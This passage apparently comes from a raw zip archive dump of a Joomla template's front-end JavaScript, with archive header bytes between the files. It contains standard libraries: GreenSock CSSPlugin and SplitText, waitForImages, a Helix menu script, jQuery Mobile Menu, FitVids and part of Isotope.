pe(t,r,0,0,n,2),n.setRatio=De,n.e=e,n.pr=-10,n.data=s._tween,i=!0,n}}),l="bezier,throwProps,physicsProps,physics2D".split(","),ce=l.length;ce--;)ge(l[ce]);l=a.prototype,l._firstPT=null,l._onInitTween=function(t,e,o){if(!t.nodeType)return!1;this._target=t,this._tween=o,this._vars=e,h=e.autoRound,i=!1,r=e.suffixMap||a.suffixMap,s=q(t,""),n=this._overwriteProps;var l,p,c,d,m,g,v,y,T,w=t.style;if(u&&""===w.zIndex&&(l=H(t,"zIndex",s),("auto"===l||""===l)&&this._addLazySet(w,"zIndex",0)),"string"==typeof e&&(d=w.cssText,l=Z(t,s),w.cssText=d+";"+e,l=$(t,l,Z(t)).difs,!Y&&x.test(e)&&(l.opacity=parseFloat(RegExp.$1)),e=l,w.cssText=d),this._firstPT=p=this.parse(t,e,null),this._transformType){for(T=3===this._transformType,ye?f&&(u=!0,""===w.zIndex&&(v=H(t,"zIndex",s),("auto"===v||""===v)&&this._addLazySet(w,"zIndex",0)),_&&this._addLazySet(w,"WebkitBackfaceVisibility",this._vars.WebkitBackfaceVisibility||(T?"visible":"hidden"))):w.zoom=1,c=p;c&&c._next;)c=c._next;y=new pe(t,"transform",0,0,null,2),this._linkCSSP(y,null,c),y.setRatio=T&&we?ke:ye?Re:Se,y.data=this._transform||Pe(t,s,!0),n.pop()}if(i){for(;p;){for(g=p._next,c=d;c&&c.pr>p.pr;)c=c._next;(p._prev=c?c._prev:m)?p._prev._next=p:d=p,(p._next=c)?c._prev=p:m=p,p=g}this._firstPT=d}return!0},l.parse=function(t,e,i,n){var a,l,u,f,p,_,c,d,m,g,v=t.style;for(a in e)_=e[a],l=o[a],l?i=l.parse(t,_,a,this,i,n,e):(p=H(t,a,s)+"",m="string"==typeof _,"color"===a||"fill"===a||"stroke"===a||-1!==a.indexOf("Color")||m&&b.test(_)?(m||(_=oe(_),_=(_.length>3?"rgba(":"rgb(")+_.join(",")+")"),i=_e(v,a,p,_,!0,"transparent",i,0,n)):!m||-1===_.indexOf(" ")&&-1===_.indexOf(",")?(u=parseFloat(p),c=u||0===u?p.substr((u+"").length):"",(""===p||"auto"===p)&&("width"===a||"height"===a?(u=te(t,a,s),c="px"):"left"===a||"top"===a?(u=G(t,a,s),c="px"):(u="opacity"!==a?0:1,c="")),g=m&&"="===_.charAt(1),g?(f=parseInt(_.charAt(0)+"1",10),_=_.substr(2),f*=parseFloat(_),d=_.replace(y,"")):(f=parseFloat(_),d=m?_.substr((f+"").length)||"":""),""===d&&(d=a in r?r[a]:c),_=f||0===f?(g?f+u:f)+d:e[a],c!==d&&""!==d&&(f||0===f)&&u&&(u=Q(t,a,u,c),"%"===d?(u/=Q(t,a,100,"%")/100,e.strictUnits!==!0&&(p=u+"%")):"em"===d?u/=Q(t,a,1,"em"):"px"!==d&&(f=Q(t,a,f,d),d="px"),g&&(f||0===f)&&(_=f+u+d)),g&&(f+=u),!u&&0!==u||!f&&0!==f?void 0!==v[a]&&(_||"NaN"!=_+""&&null!=_)?(i=new pe(v,a,f||u||0,0,i,-1,a,!1,0,p,_),i.xs0="none"!==_||"display"!==a&&-1===a.indexOf("Style")?_:p):U("invalid "+a+" tween value: "+e[a]):(i=new pe(v,a,u,f-u,i,0,a,h!==!1&&("px"===d||"zIndex"===a),0,p,_),i.xs0=d)):i=_e(v,a,p,_,!0,null,i,0,n)),n&&i&&!i.plugin&&(i.plugin=n);return i},l.setRatio=function(t){var e,i,r,s=this._firstPT,n=1e-6;if(1!==t||this._tween._time!==this._tween._duration&&0!==this._tween._time)if(t||this._tween._time!==this._tween._duration&&0!==this._tween._time||this._tween._rawPrevTime===-1e-6)for(;s;){if(e=s.c*t+s.s,s.r?e=Math.round(e):n>e&&e>-n&&(e=0),s.type)if(1===s.type)if(r=s.l,2===r)s.t[s.p]=s.xs0+e+s.xs1+s.xn1+s.xs2;else if(3===r)s.t[s.p]=s.xs0+e+s.xs1+s.xn1+s.xs2+s.xn2+s.xs3;else if(4===r)s.t[s.p]=s.xs0+e+s.xs1+s.xn1+s.xs2+s.xn2+s.xs3+s.xn3+s.xs4;else if(5===r)s.t[s.p]=s.xs0+e+s.xs1+s.xn1+s.xs2+s.xn2+s.xs3+s.xn3+s.xs4+s.xn4+s.xs5;else{for(i=s.xs0+e+s.xs1,r=1;s.l>r;r++)i+=s["xn"+r]+s["xs"+(r+1)];s.t[s.p]=i}else-1===s.type?s.t[s.p]=s.xs0:s.setRatio&&s.setRatio(t);else s.t[s.p]=e+s.xs0;s=s._next}else for(;s;)2!==s.type?s.t[s.p]=s.b:s.setRatio(t),s=s._next;else for(;s;)2!==s.type?s.t[s.p]=s.e:s.setRatio(t),s=s._next},l._enableTransforms=function(t){this._transformType=t||3===this._transformType?3:2,this._transform=this._transform||Pe(this._target,s,!0)};var Me=function(){this.t[this.p]=this.e,this.data._linkCSSP(this,this._next,null,!0)};l._addLazySet=function(t,e,i){var r=this._firstPT=new pe(t,e,0,0,this._firstPT,2);r.e=i,r.setRatio=Me,r.data=this},l._linkCSSP=function(t,e,i,r){return t&&(e&&(e._prev=t),t._next&&(t._next._prev=t._prev),t._prev?t._prev._next=t._next:this._firstPT===t&&(this._firstPT=t._next,r=!0),i?i._next=t:r||null!==this._firstPT||(this._firstPT=t),t._next=e,t._prev=i),t
},l._kill=function(e){var i,r,s,n=e;if(e.autoAlpha||e.alpha){n={};for(r in e)n[r]=e[r];n.opacity=1,n.autoAlpha&&(n.visibility=1)}return e.className&&(i=this._classNamePT)&&(s=i.xfirst,s&&s._prev?this._linkCSSP(s._prev,i._next,s._prev._prev):s===this._firstPT&&(this._firstPT=i._next),i._next&&this._linkCSSP(i._next,i._next._next,s._prev),this._classNamePT=null),t.prototype._kill.call(this,n)};var Le=function(t,e,i){var r,s,n,a;if(t.slice)for(s=t.length;--s>-1;)Le(t[s],e,i);else for(r=t.childNodes,s=r.length;--s>-1;)n=r[s],a=n.type,n.style&&(e.push(Z(n)),i&&i.push(n)),1!==a&&9!==a&&11!==a||!n.childNodes.length||Le(n,e,i)};return a.cascadeTo=function(t,i,r){var s,n,a,o=e.to(t,i,r),l=[o],h=[],u=[],f=[],p=e._internals.reservedProps;for(t=o._targets||o.target,Le(t,h,f),o.render(i,!0),Le(t,u),o.render(0,!0),o._enabled(!0),s=f.length;--s>-1;)if(n=$(f[s],h[s],u[s]),n.firstMPT){n=n.difs;for(a in r)p[a]&&(n[a]=r[a]);l.push(e.to(f[s],i,n))}return l},t.activate([a]),a},!0)}),_gsScope._gsDefine&&_gsScope._gsQueue.pop()(),function(t){"use strict";var e=function(){return(_gsScope.GreenSockGlobals||_gsScope)[t]};"function"==typeof define&&define.amd?define(["TweenLite"],e):"undefined"!=typeof module&&module.exports&&(require("../TweenLite.js"),module.exports=e())}("CSSPlugin");

/*!
 * VERSION: beta 0.2.4
 * DATE: 2014-07-17
 * UPDATES AND DOCS AT: http://www.greensock.com
 *
 * @license Copyright (c) 2008-2014, GreenSock. All rights reserved.
 * SplitText is a Club GreenSock membership benefit; You must have a valid membership to use
 * this code without violating the terms of use. Visit http://www.greensock.com/club/ to sign up or get more details.
 * This work is subject to the software agreement that was issued with your membership.
 * 
 * @author: Jack Doyle, jack@greensock.com
 */
var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window;(function(t){"use strict";var e=t.GreenSockGlobals||t,i=function(t){var i,s=t.split("."),r=e;for(i=0;s.length>i;i++)r[s[i]]=r=r[s[i]]||{};return r},s=i("com.greensock.utils"),r=function(t){var e=t.nodeType,i="";if(1===e||9===e||11===e){if("string"==typeof t.textContent)return t.textContent;for(t=t.firstChild;t;t=t.nextSibling)i+=r(t)}else if(3===e||4===e)return t.nodeValue;return i},n=document,a=n.defaultView?n.defaultView.getComputedStyle:function(){},o=/([A-Z])/g,h=function(t,e,i,s){var r;return(i=i||a(t,null))?(t=i.getPropertyValue(e.replace(o,"-$1").toLowerCase()),r=t||i.length?t:i[e]):t.currentStyle&&(i=t.currentStyle,r=i[e]),s?r:parseInt(r,10)||0},l=function(t){return t.length&&t[0]&&(t[0].nodeType&&t[0].style&&!t.nodeType||t[0].length&&t[0][0])?!0:!1},_=function(t){var e,i,s,r=[],n=t.length;for(e=0;n>e;e++)if(i=t[e],l(i))for(s=i.length,s=0;i.length>s;s++)r.push(i[s]);else r.push(i);return r},u=")eefec303079ad17405c",c=/(?:<br>|<br\/>|<br \/>)/gi,p=n.all&&!n.addEventListener,f="<div style='position:relative;display:inline-block;"+(p?"*display:inline;*zoom:1;'":"'"),m=function(t){t=t||"";var e=-1!==t.indexOf("++"),i=1;return e&&(t=t.split("++").join("")),function(){return f+(t?" class='"+t+(e?i++:"")+"'>":">")}},d=s.SplitText=e.SplitText=function(t,e){if("string"==typeof t&&(t=d.selector(t)),!t)throw"cannot split a null element.";this.elements=l(t)?_(t):[t],this.chars=[],this.words=[],this.lines=[],this._originals=[],this.vars=e||{},this.split(e)},g=function(t,e,i,s,o){c.test(t.innerHTML)&&(t.innerHTML=t.innerHTML.replace(c,u));var l,_,p,f,d,g,v,y,T,w,b,x,P,S=r(t),C=e.type||e.split||"chars,words,lines",k=-1!==C.indexOf("lines")?[]:null,R=-1!==C.indexOf("words"),A=-1!==C.indexOf("chars"),D="absolute"===e.position||e.absolute===!0,O=D?"&#173; ":" ",M=-999,L=a(t),z=h(t,"paddingLeft",L),I=h(t,"borderBottomWidth",L)+h(t,"borderTopWidth",L),E=h(t,"borderLeftWidth",L)+h(t,"borderRightWidth",L),N=h(t,"paddingTop",L)+h(t,"paddingBottom",L),F=h(t,"paddingLeft",L)+h(t,"paddingRight",L),X=h(t,"textAlign",L,!0),U=t.clientHeight,B=t.clientWidth,j=S.length,Y="</div>",q=m(e.wordsClass),G=m(e.charsClass),V=-1!==(e.linesClass||"").indexOf("++"),Q=e.linesClass;for(V&&(Q=Q.split("++").join("")),p=q(),f=0;j>f;f++)g=S.charAt(f),")"===g&&S.substr(f,20)===u?(p+=Y+"<BR/>",f!==j-1&&(p+=" "+q()),f+=19):" "===g&&" "!==S.charAt(f-1)&&f!==j-1?(p+=Y,f!==j-1&&(p+=O+q())):p+=A&&" "!==g?G()+g+"</div>":g;for(t.innerHTML=p+Y,d=t.getElementsByTagName("*"),j=d.length,v=[],f=0;j>f;f++)v[f]=d[f];if(k||D)for(f=0;j>f;f++)y=v[f],_=y.parentNode===t,(_||D||A&&!R)&&(T=y.offsetTop,k&&_&&T!==M&&"BR"!==y.nodeName&&(l=[],k.push(l),M=T),D&&(y._x=y.offsetLeft,y._y=T,y._w=y.offsetWidth,y._h=y.offsetHeight),k&&(R!==_&&A||(l.push(y),y._x-=z),_&&f&&(v[f-1]._wordEnd=!0)));for(f=0;j>f;f++)y=v[f],_=y.parentNode===t,"BR"!==y.nodeName?(D&&(b=y.style,R||_||(y._x+=y.parentNode._x,y._y+=y.parentNode._y),b.left=y._x+"px",b.top=y._y+"px",b.position="absolute",b.display="block",b.width=y._w+1+"px",b.height=y._h+"px"),R?_?s.push(y):A&&i.push(y):_?(t.removeChild(y),v.splice(f--,1),j--):!_&&A&&(T=!k&&!D&&y.nextSibling,t.appendChild(y),T||t.appendChild(n.createTextNode(" ")),i.push(y))):k||D?(t.removeChild(y),v.splice(f--,1),j--):R||t.appendChild(y);if(k){for(D&&(w=n.createElement("div"),t.appendChild(w),x=w.offsetWidth+"px",T=w.offsetParent===t?0:t.offsetLeft,t.removeChild(w)),b=t.style.cssText,t.style.cssText="display:none;";t.firstChild;)t.removeChild(t.firstChild);for(P=!D||!R&&!A,f=0;k.length>f;f++){for(l=k[f],w=n.createElement("div"),w.style.cssText="display:block;text-align:"+X+";position:"+(D?"absolute;":"relative;"),Q&&(w.className=Q+(V?f+1:"")),o.push(w),j=l.length,d=0;j>d;d++)"BR"!==l[d].nodeName&&(y=l[d],w.appendChild(y),P&&(y._wordEnd||R)&&w.appendChild(n.createTextNode(" ")),D&&(0===d&&(w.style.top=y._y+"px",w.style.left=z+T+"px"),y.style.top="0px",T&&(y.style.left=y._x-T+"px")));R||A||(w.innerHTML=r(w).split(String.fromCharCode(160)).join(" ")),D&&(w.style.width=x,w.style.height=y._h+"px"),t.appendChild(w)}t.style.cssText=b}D&&(U>t.clientHeight&&(t.style.height=U-N+"px",U>t.clientHeight&&(t.style.height=U+I+"px")),B>t.clientWidth&&(t.style.width=B-F+"px",B>t.clientWidth&&(t.style.width=B+E+"px")))},v=d.prototype;v.split=function(t){this.isSplit&&this.revert(),this.vars=t||this.vars,this._originals.length=this.chars.length=this.words.length=this.lines.length=0;for(var e=0;this.elements.length>e;e++)this._originals[e]=this.elements[e].innerHTML,g(this.elements[e],this.vars,this.chars,this.words,this.lines);return this.isSplit=!0,this},v.revert=function(){if(!this._originals)throw"revert() call wasn't scoped properly.";for(var t=this._originals.length;--t>-1;)this.elements[t].innerHTML=this._originals[t];return this.chars=[],this.words=[],this.lines=[],this.isSplit=!1,this},d.selector=t.$||t.jQuery||function(e){return t.$?(d.selector=t.$,t.$(e)):n?n.getElementById("#"===e.charAt(0)?e.substr(1):e):e},d.version="0.2.4"})(_gsScope),function(t){"use strict";var e=function(){return(_gsScope.GreenSockGlobals||_gsScope)[t]};"function"==typeof define&&define.amd?define(["TweenLite"],e):"undefined"!=typeof module&&module.exports&&(module.exports=e())}("SplitText");

try{
	window.GreenSockGobals = null;
	window._gsQueue = null;
	delete(window.GreenSockGlobals);
	delete(window._gsQueue);
   } catch(e) {}

try{
	window.GreenSockGlobals = oldgs;
	window._gsQueue = oldgs_queue;
	} catch(e) {}

if (window.tplogs==true)
	try {
		console.groupEnd();
	} catch(e) {}





(function(e,t){
		e.waitForImages={hasImageProperties:["backgroundImage","listStyleImage","borderImage","borderCornerImage"]};e.expr[":"].uncached=function(t){var n=document.createElement("img");n.src=t.src;return e(t).is('img[src!=""]')&&!n.complete};e.fn.waitForImages=function(t,n,r){if(e.isPlainObject(arguments[0])){n=t.each;r=t.waitForAll;t=t.finished}t=t||e.noop;n=n||e.noop;r=!!r;if(!e.isFunction(t)||!e.isFunction(n)){throw new TypeError("An invalid callback was supplied.")}return this.each(function(){var i=e(this),s=[];if(r){var o=e.waitForImages.hasImageProperties||[],u=/url\((['"]?)(.*?)\1\)/g;i.find("*").each(function(){var t=e(this);if(t.is("img:uncached")){s.push({src:t.attr("src"),element:t[0]})}e.each(o,function(e,n){var r=t.css(n);if(!r){return true}var i;while(i=u.exec(r)){s.push({src:i[2],element:t[0]})}})})}else{i.find("img:uncached").each(function(){s.push({src:this.src,element:this})})}var f=s.length,l=0;if(f==0){t.call(i[0])}e.each(s,function(r,s){var o=new Image;e(o).bind("load error",function(e){l++;n.call(s.element,l,f,e.type=="load");if(l==f){t.call(i[0]);return false}});o.src=s.src})})};		
})(jQuery)
PK!�
��0�0bluejoomla/js/menu.jsnu&1i�/**
* @package Helix Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2013 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/;
(function ($) {
        $.fn.spmenu = function (options) {
            var defaults = {
                startLevel: 0,
                direction: 'ltr',
                center: 0,
                marginLeft: 0,
                marginTop: 0,
                width: 200,
                initOffset: {
                    x: 0,
                    y: 0
                },
                subOffset: {
                    x: 0,
                    y: 0
                }
            };

            var options = $.extend(defaults, options);

            return this.each(function () {

                    //First Level

                    $(this).find('>li.menu-item.parent').each(function (index) {

                            var $this = $(this);
                            var $submenu = $this.find('>.sp-submenu');
                            var rootLevel = ($this.closest('ul.sp-menu').hasClass('level-' + options.startLevel) ? true : false); //Detect Level Root				
                            if (rootLevel) {
                                $submenu.addClass('sub-level');

                                var marginTop = $this.height() + options.marginTop;
                                var marginLeft = options.marginLeft;

                                if (options.center) {
                                    marginLeft = -($submenu.width() / 2) + ($submenu.closest('.parent').width() / 2);
                                } else {

                                    var offset = $submenu.offset();
                                    var submenuWidth = offset.left + $submenu.width();
                                    var viewport = $(window).width();

                                    if (viewport < submenuWidth) {
                                        var restWidth = submenuWidth - viewport;
                                    } 
                                    else if(offset.left < 0){
                                        restWidth = offset.left*(-1);
                                    }

                                    else {
                                        var restWidth = 0;
                                    }

                                    marginLeft = marginLeft - restWidth;
                                }

                                $submenu.find('>.sp-submenu-wrap').css({
                                        'margin-top': options.initOffset.y,
                                        'margin-left': options.initOffset.x
                                });


                                if (options.direction == 'rtl') {

                                    $submenu.css({
                                            'top': marginTop,
                                            'right': marginLeft
                                    });

                                } else {

                                    $submenu.css({
                                            'top': marginTop,
                                            'left': marginLeft
                                    });
                                }

                            } else {
                                $submenu.addClass('sub-level-child');
                                var marginTop = options.marginTop;
                                var offset = $submenu.offset();
                                var viweport = $(window).width();

                                var outerWidth = $submenu.outerWidth(true);
                                var parentouterWidth = $submenu.parent().outerWidth(true);

                                var submenuWidth = $submenu.width();

                                var parentWidth = $submenu.parent().width();

                                var isVisible = function(){
                                    if( offset.left < 0 ) return false;
                                    else if( viweport < (outerWidth+offset.left+submenuWidth) ) return false;
                                    else return true;
                                }

                                var isMegaMenu = function(){
                                    if( options.width < submenuWidth ) return true;
                                    else return false;
                                }

                                var isRTL = function(){                                    
                                    if( options.direction=='rtl' ) return true;
                                    else return false;
                                }

                                var moveMenuPX = function(){
                                    if (options.direction == 'ltr') {
                                        if( outerWidth > parentouterWidth ){
                                            if( isVisible() ) return parentouterWidth;
                                            else return submenuWidth;
                                        }
                                        else if( parentouterWidth < outerWidth ) return parentWidth;
                                        else if( outerWidth == parentouterWidth ) return outerWidth;
                                        else return options.width;
                                    } else {

                                        if( outerWidth > parentouterWidth ){
                                            if( isVisible() ) return submenuWidth;
                                            else return parentouterWidth;
                                            //return submenuWidth;
                                        }
                                        else if( parentouterWidth < outerWidth ) return parentWidth;
                                        else if( outerWidth == parentouterWidth ) return submenuWidth;
                                        else return options.width;
                                    }
                                }

                                /*
                                // info graphic
                                $submenu.attr('data-width', submenuWidth);
                                $submenu.attr('data-offset', offset.left);
                                $submenu.attr('data-outerwidth', outerWidth);
                                $submenu.attr('data-isvisible', isVisible);
                                $submenu.attr('data-ismegamenu', isMegaMenu);
                                $submenu.attr('data-viewport', viweport);
                                $submenu.attr('data-parentouterwidth', $submenu.parent().outerWidth(true));
                                */

                                if (options.direction == 'ltr') {

                                    if( isVisible() ){
                                        marginLeft = moveMenuPX();
                                    } else {
                                        marginLeft = -moveMenuPX();
                                    }

                                } else {

                                    if( isVisible() ){
                                        marginLeft = -moveMenuPX();
                                    } else {
                                        marginLeft = moveMenuPX();
                                    }
                                }



                                $submenu.find('>.sp-submenu-wrap').css({
                                        'margin-top': options.subOffset.y,
                                        'margin-left': options.subOffset.x
                                });

                                if (options.direction == 'rtl') {

                                    $submenu.css({
                                            'top': 0,
                                            'right': 0
                                    });

                                    $submenu.css({
                                            'top': marginTop,
                                            'right': marginLeft
                                    });

                                } else {

                                    $submenu.css({
                                            'top': 0,
                                            'left': 0
                                    });

                                    $submenu.css({
                                            'top': marginTop,
                                            'left': marginLeft
                                    });
                                }
                            }

                            var $timeer;

                            $this.on('mouseenter', function (event) {
                                    event.stopImmediatePropagation();
                                    $(this).find('>.sp-submenu').removeClass('open');
                                    $(this).find('>.sp-submenu').addClass('open');                                    
                            });

                            $this.on('mouseleave', function (event) {
                                    var $_this = $(this);
                                    $(this).find('>.sp-submenu').removeClass('open');                                   
                            });
                    });
            });

        };

})(jQuery);


/**
* jQuery Mobile Menu
* Turn unordered list menu into dropdown select menu
* version 1.0(31-OCT-2011)
*
* Built on top of the jQuery library
*   http://jquery.com
*
* Documentation
* 	 http://github.com/mambows/mobilemenu
*/
;
(function ($) {
        $.fn.mobileMenu = function (options) {

            var defaults = {
                defaultText: 'Navigate to...',
                className: 'select-menu',
                subMenuClass: 'menu-item',
                subMenuDash: '-',
                appendTo: '#sp-mmenu'
            },
            settings = $.extend(defaults, options),
            el = $(this);
            mobileMenu = $(settings.appendTo);

            this.each(function () {
                    // ad class to submenu list
                    el.find('ul').addClass(settings.subMenuClass);

                    // Create base menu
                    $('<select />', {
                            'class': settings.className
                    }).appendTo(mobileMenu);

                    // Create default option
                    $('<option />', {
                            "value": '#',
                            "text": settings.defaultText
                    }).appendTo('.' + settings.className);

                    // Create select option from menu
                    el.find('a').each(function () {
                            var $this = $(this),
                            optText = '&nbsp;' + $this.find('span.menu-title').text(),
                            optSub = $this.parents('.' + settings.subMenuClass),
                            len = optSub.length,
                            dash;

                            // if menu has sub menu
                            if ($this.parents('ul').hasClass(settings.subMenuClass)) {
                                dash = Array(len + 1).join(settings.subMenuDash);
                                optText = dash + optText;
                            }

                            // Now build menu and append it
                            $('<option />', {
                                    "value": this.href,
                                    "html": optText,
                                    "selected": (this.href == window.location.href)
                            }).appendTo('.' + settings.className);

                    }); // End el.find('a').each

                    // Change event on select element
                    $('.' + settings.className).change(function () {
                            var locations = $(this).val();
                            if (locations !== '#') {
                                window.location.href = $(this).val();
                            };
                    });

            }); // End this.each
            return this;
        };
})(jQuery);PK!$����bluejoomla/js/fitvids.jsnu&1i�/*global jQuery */
/*! 
* FitVids 1.0
*
* Copyright 2011, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com
* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/
* Released under the WTFPL license - http://sam.zoy.org/wtfpl/
*
* Date: Thu Sept 01 18:00:00 2011 -0500
*/

(function( $ ){

  $.fn.fitVids = function() {
    var div = document.createElement('div'),
        ref = document.getElementsByTagName('base')[0] || document.getElementsByTagName('script')[0];
        
  	div.className = 'fit-vids-style';
    div.innerHTML = '&shy;<style>         \
      .fluid-width-video-wrapper {        \
         width: 100%;                     \
         position: relative;              \
         padding: 0;                      \
      }                                   \
                                          \
      .fluid-width-video-wrapper iframe,  \
      .fluid-width-video-wrapper object,  \
      .fluid-width-video-wrapper embed {  \
         position: absolute;              \
         top: 0;                          \
         left: 0;                         \
         width: 100%;                     \
         height: 100%;                    \
      }                                   \
    </style>';
                      
    ref.parentNode.insertBefore(div,ref);
  
    return this.each(function(){
      var selectors = [
        "iframe[src^='http://player.vimeo.com']", 
        "iframe[src^='http://www.youtube.com']", 
        "iframe[src^='https://www.youtube.com']", 
        "iframe[src^='http://www.kickstarter.com']", 
        "object", 
        "embed"
      ];

      var $allVideos = $(this).find(selectors.join(','));
      
      $allVideos.each(function(){
        var $this = $(this), 
            height = this.tagName == 'OBJECT' ? $this.attr('height') : $this.height(),
            aspectRatio = height / $this.width();
        $this.wrap('<div class="fluid-width-video-wrapper" />').parent('.fluid-width-video-wrapper').css('padding-top', (aspectRatio * 100)+"%");
        $this.removeAttr('height').removeAttr('width');
      });
    });
  
  }
})( jQuery );PK!���R>R>#bluejoomla/js/jquery.isotope.min.jsnu&1i�/**
 * Isotope v1.5.25
 * An exquisite jQuery plugin for magical layouts
 * http://isotope.metafizzy.co
 *
 * Commercial use requires one-time license fee
 * http://metafizzy.co/#licenses
 *
 * Copyright 2012 David DeSandro / Metafizzy
 */
(function(a,b,c){"use strict";var d=a.document,e=a.Modernizr,f=function(a){return a.charAt(0).toUpperCase()+a.slice(1)},g="Moz Webkit O Ms".split(" "),h=function(a){var b=d.documentElement.style,c;if(typeof b[a]=="string")return a;a=f(a);for(var e=0,h=g.length;e<h;e++){c=g[e]+a;if(typeof b[c]=="string")return c}},i=h("transform"),j=h("transitionProperty"),k={csstransforms:function(){return!!i},csstransforms3d:function(){var a=!!h("perspective");if(a){var c=" -o- -moz- -ms- -webkit- -khtml- ".split(" "),d="@media ("+c.join("transform-3d),(")+"modernizr)",e=b("<style>"+d+"{#modernizr{height:3px}}"+"</style>").appendTo("head"),f=b('<div id="modernizr" />').appendTo("html");a=f.height()===3,f.remove(),e.remove()}return a},csstransitions:function(){return!!j}},l;if(e)for(l in k)e.hasOwnProperty(l)||e.addTest(l,k[l]);else{e=a.Modernizr={_version:"1.6ish: miniModernizr for Isotope"};var m=" ",n;for(l in k)n=k[l](),e[l]=n,m+=" "+(n?"":"no-")+l;b("html").addClass(m)}if(e.csstransforms){var o=e.csstransforms3d?{translate:function(a){return"translate3d("+a[0]+"px, "+a[1]+"px, 0) "},scale:function(a){return"scale3d("+a+", "+a+", 1) "}}:{translate:function(a){return"translate("+a[0]+"px, "+a[1]+"px) "},scale:function(a){return"scale("+a+") "}},p=function(a,c,d){var e=b.data(a,"isoTransform")||{},f={},g,h={},j;f[c]=d,b.extend(e,f);for(g in e)j=e[g],h[g]=o[g](j);var k=h.translate||"",l=h.scale||"",m=k+l;b.data(a,"isoTransform",e),a.style[i]=m};b.cssNumber.scale=!0,b.cssHooks.scale={set:function(a,b){p(a,"scale",b)},get:function(a,c){var d=b.data(a,"isoTransform");return d&&d.scale?d.scale:1}},b.fx.step.scale=function(a){b.cssHooks.scale.set(a.elem,a.now+a.unit)},b.cssNumber.translate=!0,b.cssHooks.translate={set:function(a,b){p(a,"translate",b)},get:function(a,c){var d=b.data(a,"isoTransform");return d&&d.translate?d.translate:[0,0]}}}var q,r;e.csstransitions&&(q={WebkitTransitionProperty:"webkitTransitionEnd",MozTransitionProperty:"transitionend",OTransitionProperty:"oTransitionEnd otransitionend",transitionProperty:"transitionend"}[j],r=h("transitionDuration"));var s=b.event,t=b.event.handle?"handle":"dispatch",u;s.special.smartresize={setup:function(){b(this).bind("resize",s.special.smartresize.handler)},teardown:function(){b(this).unbind("resize",s.special.smartresize.handler)},handler:function(a,b){var c=this,d=arguments;a.type="smartresize",u&&clearTimeout(u),u=setTimeout(function(){s[t].apply(c,d)},b==="execAsap"?0:100)}},b.fn.smartresize=function(a){return a?this.bind("smartresize",a):this.trigger("smartresize",["execAsap"])},b.Isotope=function(a,c,d){this.element=b(c),this._create(a),this._init(d)};var v=["width","height"],w=b(a);b.Isotope.settings={resizable:!0,layoutMode:"masonry",containerClass:"isotope",itemClass:"isotope-item",hiddenClass:"isotope-hidden",hiddenStyle:{opacity:0,scale:.001},visibleStyle:{opacity:1,scale:1},containerStyle:{position:"relative",overflow:"hidden"},animationEngine:"best-available",animationOptions:{queue:!1,duration:800},sortBy:"original-order",sortAscending:!0,resizesContainer:!0,transformsEnabled:!0,itemPositionDataEnabled:!1},b.Isotope.prototype={_create:function(a){this.options=b.extend({},b.Isotope.settings,a),this.styleQueue=[],this.elemCount=0;var c=this.element[0].style;this.originalStyle={};var d=v.slice(0);for(var e in this.options.containerStyle)d.push(e);for(var f=0,g=d.length;f<g;f++)e=d[f],this.originalStyle[e]=c[e]||"";this.element.css(this.options.containerStyle),this._updateAnimationEngine(),this._updateUsingTransforms();var h={"original-order":function(a,b){return b.elemCount++,b.elemCount},random:function(){return Math.random()}};this.options.getSortData=b.extend(this.options.getSortData,h),this.reloadItems(),this.offset={left:parseInt(this.element.css("padding-left")||0,10),top:parseInt(this.element.css("padding-top")||0,10)};var i=this;setTimeout(function(){i.element.addClass(i.options.containerClass)},0),this.options.resizable&&w.bind("smartresize.isotope",function(){i.resize()}),this.element.delegate("."+this.options.hiddenClass,"click",function(){return!1})},_getAtoms:function(a){var b=this.options.itemSelector,c=b?a.filter(b).add(a.find(b)):a,d={position:"absolute"};return c=c.filter(function(a,b){return b.nodeType===1}),this.usingTransforms&&(d.left=0,d.top=0),c.css(d).addClass(this.options.itemClass),this.updateSortData(c,!0),c},_init:function(a){this.$filteredAtoms=this._filter(this.$allAtoms),this._sort(),this.reLayout(a)},option:function(a){if(b.isPlainObject(a)){this.options=b.extend(!0,this.options,a);var c;for(var d in a)c="_update"+f(d),this[c]&&this[c]()}},_updateAnimationEngine:function(){var a=this.options.animationEngine.toLowerCase().replace(/[ _\-]/g,""),b;switch(a){case"css":case"none":b=!1;break;case"jquery":b=!0;break;default:b=!e.csstransitions}this.isUsingJQueryAnimation=b,this._updateUsingTransforms()},_updateTransformsEnabled:function(){this._updateUsingTransforms()},_updateUsingTransforms:function(){var a=this.usingTransforms=this.options.transformsEnabled&&e.csstransforms&&e.csstransitions&&!this.isUsingJQueryAnimation;a||(delete this.options.hiddenStyle.scale,delete this.options.visibleStyle.scale),this.getPositionStyles=a?this._translate:this._positionAbs},_filter:function(a){var b=this.options.filter===""?"*":this.options.filter;if(!b)return a;var c=this.options.hiddenClass,d="."+c,e=a.filter(d),f=e;if(b!=="*"){f=e.filter(b);var g=a.not(d).not(b).addClass(c);this.styleQueue.push({$el:g,style:this.options.hiddenStyle})}return this.styleQueue.push({$el:f,style:this.options.visibleStyle}),f.removeClass(c),a.filter(b)},updateSortData:function(a,c){var d=this,e=this.options.getSortData,f,g;a.each(function(){f=b(this),g={};for(var a in e)!c&&a==="original-order"?g[a]=b.data(this,"isotope-sort-data")[a]:g[a]=e[a](f,d);b.data(this,"isotope-sort-data",g)})},_sort:function(){var a=this.options.sortBy,b=this._getSorter,c=this.options.sortAscending?1:-1,d=function(d,e){var f=b(d,a),g=b(e,a);return f===g&&a!=="original-order"&&(f=b(d,"original-order"),g=b(e,"original-order")),(f>g?1:f<g?-1:0)*c};this.$filteredAtoms.sort(d)},_getSorter:function(a,c){return b.data(a,"isotope-sort-data")[c]},_translate:function(a,b){return{translate:[a,b]}},_positionAbs:function(a,b){return{left:a,top:b}},_pushPosition:function(a,b,c){b=Math.round(b+this.offset.left),c=Math.round(c+this.offset.top);var d=this.getPositionStyles(b,c);this.styleQueue.push({$el:a,style:d}),this.options.itemPositionDataEnabled&&a.data("isotope-item-position",{x:b,y:c})},layout:function(a,b){var c=this.options.layoutMode;this["_"+c+"Layout"](a);if(this.options.resizesContainer){var 